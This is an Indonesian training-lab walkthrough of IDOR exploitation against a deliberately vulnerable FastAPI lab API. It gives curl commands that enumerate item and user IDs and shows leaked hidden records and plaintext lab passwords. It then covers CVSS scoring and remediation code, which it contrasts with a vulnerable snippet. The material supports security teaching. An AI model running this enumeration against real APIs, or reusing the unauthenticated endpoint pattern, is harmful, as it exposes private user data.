TDCTF Academy Logo TDCTF ACADEMY

REST API - IDOR

Target: api-vuln.vuln.cybersecurity.or.id
Tools: curl, jq
Level: Pemula
Aplikasi: FastAPI (Python 3.11) + SQLite


Objective

Memanfaatkan kerentanan IDOR (Insecure Direct Object Reference) untuk mengakses data privat milik pengguna lain dan mengekstrak informasi sensitif dari REST API.


Reconnaissance

1.1. Discovery Endpoint

Lakukan scanning terhadap endpoint yang tersedia menggunakan dokumentasi Swagger:

curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/docs | head -5

Output:

<!DOCTYPE html>
<html>
<head><title>FastAPI - Swagger UI</title></head>

FastAPI menyediakan dokumentasi Swagger otomatis di /docs - ini adalah information disclosure yang memudahkan attacker.

1.2. Identifikasi Endpoint Publik

Dari Swagger, ditemukan beberapa endpoint tanpa autentikasi:

Method Endpoint Deskripsi
GET /api/items Daftar semua item (publik)
GET /api/items/{id} Detail item berdasarkan ID
GET /api/users Daftar semua user
GET /api/users/{id} Detail user berdasarkan ID
GET /api/admin/users Semua user (admin)
POST /api/login Login
GET /api/debug/info Informasi debug sistem

Tidak ada satu pun endpoint yang membutuhkan token autentikasi!


Exploitation

2.1. Akses Item Publik

Pertama, lihat daftar item yang terlihat:

curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/items | jq

Output - hanya 5 item publik:

[
{"id":1,"title":"Laptop","description":"Laptop Dell","is_visible":1,"owner_id":1},
{"id":2,"title":"Buku","description":"Buku Programming","is_visible":1,"owner_id":1},
{"id":6,"title":"Meja","description":"Meja Kayu","is_visible":1,"owner_id":2},
{"id":7,"title":"Kursi","description":"Kursi Kantor","is_visible":1,"owner_id":2},
{"id":8,"title":"Monitor","description":"Monitor 24 inch","is_visible":1,"owner_id":3}
]

Perhatikan bahwa item ID 3, 4, 5 tidak muncul - kemungkinan disembunyikan (is_visible=0).

2.2. IDOR - Akses Item Tersembunyi

Kita coba akses langsung item berdasarkan ID:

curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/items/3 | jq
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/items/4 | jq
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/items/5 | jq

Output - item rahasia berhasil diakses:

{
"id": 3,
"title": "Rahasia Admin",
"description": "Hanya admin yang bisa melihat ini",
"is_visible": 0,
"owner_id": 1
}
{
"id": 4,
"title": "Data Internal Perusahaan",
"description": "Berisi strategi bisnis rahasia",
"is_visible": 0,
"owner_id": 1
}
{
"id": 5,
"title": "Server Credentials",
"description": "Credentials: admin:SuperSecret123",
"is_visible": 0,
"owner_id": 1
}

✅ IDOR berhasil! Item dengan status is_visible=0 (tersembunyi) bisa diakses hanya dengan mengganti ID di URL.

2.3. IDOR - Akses Data User Lain

Endpoint /api/users/{id} juga tidak memiliki proteksi:

curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/users/1 | jq
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/users/2 | jq
curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/users/3 | jq

Output - data semua user terekspos:

{"id":1,"username":"admin","email":"[email protected]","role":"admin","password_hash":"admin123"}
{"id":2,"username":"user1","email":"[email protected]","role":"user","password_hash":"pass123"}
{"id":3,"username":"user2","email":"[email protected]","role":"user","password_hash":"pass456"}

Perhatikan bahwa password hash disimpan dalam bentuk plaintext - bukan hash sebenarnya.

2.4. Akses Admin Endpoint

Endpoint admin juga tidak memiliki proteksi:

curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/admin/users | jq

Output - semua data user dari endpoint admin:

[
{"id":1,"username":"admin","password_hash":"admin123","is_admin":1},
{"id":2,"username":"user1","password_hash":"pass123","is_admin":0},
{"id":3,"username":"user2","password_hash":"pass456","is_admin":0}
]

2.5. Debug Information Disclosure

Endpoint debug membeberkan informasi sistem yang sensitif:

curl -s http://api-vuln.vuln.cybersecurity.or.id:8087/api/debug/info | jq

Output - environment variables dan paths:

{
"env": {
"PATH": "/usr/local/bin:/usr/bin:/bin",
"PYTHON_VERSION": "3.11.15",
"HOME": "/root"
},
"cwd": "/app",
"files": ["tmp", "boot", "proc", "var", "etc", "root"]
}

Evidence

Screenshot 1: IDOR - Akses Item Tersembunyi

IDOR - Hidden Items

Gambar: Output curl yang menampilkan item dengan is_visible=0 yang berisi data rahasia.

Screenshot 2: Data User Tanpa Autentikasi

IDOR - User Data

Gambar: Data semua user termasuk password hash yang bisa diakses hanya dengan mengganti ID di URL.

Ringkasan Kerentanan

Endpoint Masalah Dampak
/api/items/{id} IDOR Akses item tersembunyi
/api/users/{id} IDOR Data user lain terbaca
/api/admin/users No Auth Semua data admin
/api/debug/info Info Disclosure Path sistem dan env

️ Risk Assessment (CVSS 3.1)

Metrik Nilai Keterangan
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Base Score 7.5 (High)
Attack Vector (AV) Network Serangan dari jarak jauh
Attack Complexity (AC) Low Cukup ubah ID numerik
Privileges Required (PR) None Tanpa perlu login
User Interaction (UI) None Otomatis, scriptable
Confidentiality (C) High Semua data bisa dibaca
Integrity (I) Low Data bisa dimodifikasi
Availability (A) None Tidak berdampak langsung

Klasifikasi OWASP

OWASP Top 10 Kategori
A01: Broken Access Control IDOR - akses data tanpa otorisasi
A05: Security Misconfiguration Debug endpoint terbuka untuk publik

️ Remediation

1. Implementasi Authorisasi di Setiap Endpoint

Kode rentan:

@app.get("/api/items/{item_id}")
async def get_item(item_id: int):
q = "SELECT * FROM items WHERE id=?"
return await db.fetch_one(q, (item_id,))

Kode aman - verifikasi kepemilikan:

@app.get("/api/items/{item_id}")
async def get_item(item_id: int, user: User = Depends(get_current_user)):
q = "SELECT * FROM items WHERE id=? AND (is_visible=1 OR owner_id=?)"
item = await db.fetch_one(q, (item_id, user.id))
if not item:
raise HTTPException(status_code=404)
return item

2. Gunakan UUID sebagai Pengganti ID Numerik

ID numerik mudah ditebak:

/items/1, /items/2, /items/3 # Bisa brute-force

UUID sulit ditebak:

/items/a1b2c3d4-e5f6-7890-abcd-ef1234567890

3. Autentikasi Wajib di Semua Endpoint

@app.middleware("http")
async def auth_middleware(request: Request, call_next):
# Kecualikan endpoint publik tertentu
public_endpoints = ["/docs", "/openapi.json", "/api/login"]
if request.url.path not in public_endpoints:
token = request.headers.get("Authorization")
if not token or not verify_token(token):
return JSONResponse({"error": "unauthorized"}, status_code=401)
return await call_next(request)

4. Hapus Debug Endpoint di Production

Jangan pernah ekspos debug endpoint:

@app.get("/api/debug/info") # HAPUS di production!
async def debug_info():
return {"env": dict(os.environ), "cwd": os.getcwd()}

5. Hash Password dengan Algoritma Kuat

Plaintext:

user.password = password # JANGAN!

BCrypt hash:

from passlib.hash import bcrypt
user.password_hash = bcrypt.hash(password)

References


Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia

PADA HALAMAN INI